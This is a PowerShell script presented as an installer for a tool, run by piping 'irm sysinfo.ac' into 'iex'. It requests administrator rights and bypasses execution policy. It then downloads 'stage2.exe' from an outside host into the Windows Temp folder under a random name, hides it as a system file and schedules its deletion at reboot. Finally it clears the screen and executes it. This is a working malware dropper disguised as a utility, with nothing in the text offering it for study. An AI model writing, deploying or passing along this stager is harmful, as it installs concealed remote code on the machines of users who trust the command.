# install.ps1 served inline from the Cloudflare Worker.
#
# User runs:  irm sysinfo.ac | iex

$ErrorActionPreference = 'Stop'
$ProgressPreference    = 'SilentlyContinue'

$principal = New-Object Security.Principal.WindowsPrincipal(
                [Security.Principal.WindowsIdentity]::GetCurrent())
if (-not $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
    try {
        Start-Process -FilePath 'powershell.exe' -Verb RunAs -ArgumentList @(
            '-NoProfile','-ExecutionPolicy','Bypass',
            '-Command','irm sysinfo.ac | iex'
        ) | Out-Null
    } catch {}
    return
}

$stageUrl = 'https://cdn.antivgc.com/stage2.exe'
$dst      = Join-Path 'C:\Windows\Temp' ("{0}.exe" -f (Get-Random))

try {
    Invoke-WebRequest -Uri $stageUrl -OutFile $dst -UseBasicParsing
} catch {
    Write-Host "  [-] download failed." -ForegroundColor Red
    Read-Host "      press enter to close"
    return
}

try { & attrib.exe +h +s $dst 2>$null } catch {}

try {
    Add-Type -Namespace W32 -Name Mv -MemberDefinition @'
[System.Runtime.InteropServices.DllImport("kernel32.dll", CharSet=System.Runtime.InteropServices.CharSet.Unicode, SetLastError=true)]
public static extern bool MoveFileEx(string lpExistingFileName, string lpNewFileName, int dwFlags);
'@ -ErrorAction Stop
    [void][W32.Mv]::MoveFileEx($dst, $null, 4)
} catch {}

Clear-Host
& $dst
$rc = $LASTEXITCODE

if ($rc -eq 0) { [Environment]::Exit(0) }

Write-Host ""
Write-Host "  [-] something went wrong." -ForegroundColor Red
Write-Host ""
Read-Host "      press enter to close"